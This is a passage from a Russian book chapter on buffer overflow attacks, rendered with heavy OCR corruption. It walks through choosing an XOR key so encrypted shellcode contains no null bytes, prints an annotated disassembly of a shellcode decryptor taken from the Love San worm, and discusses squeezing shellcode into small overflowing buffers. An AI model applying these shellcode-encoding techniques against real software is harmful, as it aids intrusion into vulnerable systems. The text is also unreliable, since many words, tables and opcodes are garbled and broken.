Раздел: Документация
0 ... 42 43 44 45 46 47 48 ... 102 CJ-------— 413- Таблица смещений наиболее «низкочастотных» символов, Листинг 0ТСцИТЫваемых от начала шифруемого кода смешения позитий всех ею вхождений сияеоя ..... 0*. 17h. 21h № 12h. 13h. lEh. lFh. 27h f Olh. 15h. 181. lOi. 24h. 26h да 02h. 03h. 06h. 16h. 19h. lAh. lDh Посте вычисления остатка от деления на 4 над каждым из смещений мы полу-ччсм следующий ряд значений (см. листинг 4.14). Лиаииг 4.14. Таблица остатков от деления смещений на 4 сиивоя остаток от деления смещений позиций на 4 69h 00h. 03h. 00h ABh 02h 03h. 02h. 03h. 03h CCh Olh. Olh. OOh. OOh. OOh. 02h DDh 02h. 03h. 02h. 02h. Olh. 02h. Olh Мы получили четыре ряда данных, предстанляющие собой позиции наложения шифруемого символа на гамму, в которой он обращается в ноль, что недопустимо, поэтому нам необходимо выписать все значения, которые не встречаются в каждом ряду данных (см. листинг 4.15). Листинг 4.15. Таблица подходящих позиций символов ключа в гамме «квол лодходящие позидии в гамме 69г. Olh. 021 ABh OOh. 0:1 CCh 03h DOh0oh <- гочш комбинируя их таким Теперь „з полученных смещений ZZ- Смотрите, образом, чтобы каждый символ встречался .гамме л спывш, DDh может встречаться только в поэииИ" ™ ЩИЙ. То есть это «ии 03h, а два остальных символа - в любой из тавшихс*1 « необходимо увеличить ее длину. Раме* ® 11Срел0ЖИть на компьютер. совершешо ис обязательно, я эту раоотукод он £ь в обязательном порядке расшифрован. « 0н ДОЛЖен быть; ™Щик. к которому предъявляются следующие трсоования Повозможности компактным;„„..v \ иционно независимым (то есть полиостью перемещаемым)- . 1> с°Держать в себе символов ноля. ";,ти. в листинге 4.16 „оказано, как поступает червь Love San. 144Глава 4. Ошибки переполнения буфера и,„ --—---J2J2f!ne и Листинг 4.16. Расшифровщик shell-кода, выдранный из вируса Love San .data:0040458В ЕВ 19jmp short loc 4045A6 .data:0040458В : здесь мы прыгаем в середину кода. .data:0040458В : чтобы потом совершить CALL назад .data:0040458В : (CALL вперед содержит запрещенные символы нуля) ,data:0040458D ,data:0040458D sub 40458Dproc near: CODE XREF: sub 40458D+i9v .data:0040458D1 ° .data:0040458D 5Epop esiESI := 4045A3h .data:0040458D : выталкиваем из стека адрес возврата, помещенный туда командой САЦ. .data:0040458D : это необходимо для определения своего местоположения в памяти .data:0040458D : .data:0040458E 31 С9хог есх. есх .data:004С458Е : обнуляем регистр ЕСХ .data:0040458E . .data.-00404590 81 Е9 89 FF FF sub есх. -77h .data:00404590 : увеличиваем ЕСХ на 77h (уменьшаем ЕСХ на -77h) .data:00404590 . комбинация XOR ECX.ECX/SUB ЕСХ. -77h эквивалентна MOV ЕСХ. 77h .data:00404590 ; за тем исключением, что ее машинное представление не содержит .data:00404590 : в себе нолей .data .-00404596 .data:00404596 loc 404596:: CODE XREF: sub 40458D+15vj .data:00404596 81 36 80 BF 32 xor dword ptr [esi]. 9432BF80h .data:00404596 : расшифровываем очередное двойное слово специально подобранной гйчког .data:00404596 : .data:0040459C 81 ЕЕ FC FF FF sub esi. -4h .data:0040459C : увеличиваем ESI на 4h (переходим к следующему двойному слову) .data:0040459C : .data:004045A2 Е2 F2loop 1oc 404596 .data:004045A2 : мотаем цикл, пока есть что расшифровывать .data:004045A2 : .data:004045A4 ЕВ 05jmp short 1ос 4045АВ .data:004045A4 : передаем управгение расшифрованному shell-коду .data:004045A4 ; ,data:004045A6 loc 4045A6: ; CODE XREF: ,data:0040458Btj ,daca:004045A6 E8 E2 FF FF FF call sub 40458D .data:004045A6 : прыгаем назад, забрасывая адрес возврата (а это - адрес следуя*" ,data:004045A6 ; выполняемой инструкции) на вершину стека, после че;о выталкиваем .data.004045A6 : его в регистр ESI. что эквивалентно MOV ESI. EIP. но такой машинч .data:004045A6 : команды в языке х86-процессоров нет ,data:004045A6 : .data:004045AB : начало расшифрованного текста ВЧЕРА БЫЛИ БОЛЬШИЕ, НО ПО ПЯТЬ... ИЛИ РАЗМЕР ТОЖЕ ИМЕЕТ ЗНАЧЕНИЕ! 1хся бУ!" По статистике габариты подавляющего большинства перенолняюищнс ров составляют 8 байт. Значительно реже переполняются буферы- в- в себя от 16 до 128 (512) байт, а буферов больших размеров в живой природе практически не встречаются. вкладываясь на худший из возможных вариантов (а в боевой обстановке атакующим приходится действовать именно так!), учитесь выживать даже в жесточайших условиях окружающей среды с минимумом пищи, воды и кислорода. В крошечный объем переполняющегося буфера можно вместить очень многое, если подходить ко всякому делу творчески и думать головой. Первое (и самое простое), что пришло нашим хакерским предкам в голову, — :)то разбить атакующую программу на две неравные части — компактную голову н протяженный хвост (подробнее см. глава 3 «Жизненный цикл червей»). Голова обеспечивает следующие функции: переполнение буфера, захват управления и загрузку хвоста. Голова может нести двоичный код, но может обходиться н без него, осуществляя всю диверсионную деятельность «руками» уязвимой программы. Действительно, многие программы содержат большое количество служебных функций, дающих полный контроль над системой или, на худой конец, позволяют вывести себя из строя и пойти в управляемый разнос. Искажение одной или нескольких критических ячеек программы ведет к ее немедленному обрушению, и количество искаженных ячеек начинает расти как снежный ком. Через длинную или короткую цепочку причинно-следственных последствий в ключевые ячейки программы попадают значения, необходимые злоумышленнику. Причудливый узор мусорных байт внезапно складывается в законченную комбинацию, замок глухо щелкает, и дверцы сейфа .медленно раскрываются. Это похоже на шахматную головоломку с постановкой мата в N ходов, причем состояние большинства полей неизвестно, поэтому сложность задачи быстро растет с увеличением N. Конкретные примеры головоломок привести сложно, так как даже простейшие из них занимают несколько страниц убористого текста (в противном же случае листинги выглядят слишком искусственно, а решение лежит буквально на поверхности). Интересующиеся могут обратиться к коду червя Slapper, до сих пор остающегося непревзойденным эквилибристом по глубине атаки и детально проанализированного специалистами компании Symantec, отчет которых можно найти на их же сайте (см. «Ап Analysis of the Slapper Worm Exploit»). Впрочем, атаки подобного типа скорее относятся к экзотике интеллектуальных развлечений, чем к практическим приемам вторжения в систему и потому чрезвычайно мало распространены. В плане возвращения к средствам традиционной «мануальной терапии» отметим, что, если размер переполняющегося буфера равен 8 байтам, отсюда еще не следует, что и длина shell-кода должна быть равна тем же 8 байтам. Ведь это же переполняющийся буфер! Но не стоит бросаться и в другую крайность — надеяться, что предельно допустимая длина shell-КоДа окажется практически неограниченной. Подавляющее большинство уязвимых приложений содержит несколько уровней проверок корректности "«льзовательского ввода, которые, будучи даже не совсем правильно реализованными, все-таки налагают определенные, подчас весьма жесткие ограниче-""я »а атаку. 0 ... 42 43 44 45 46 47 48 ... 102
|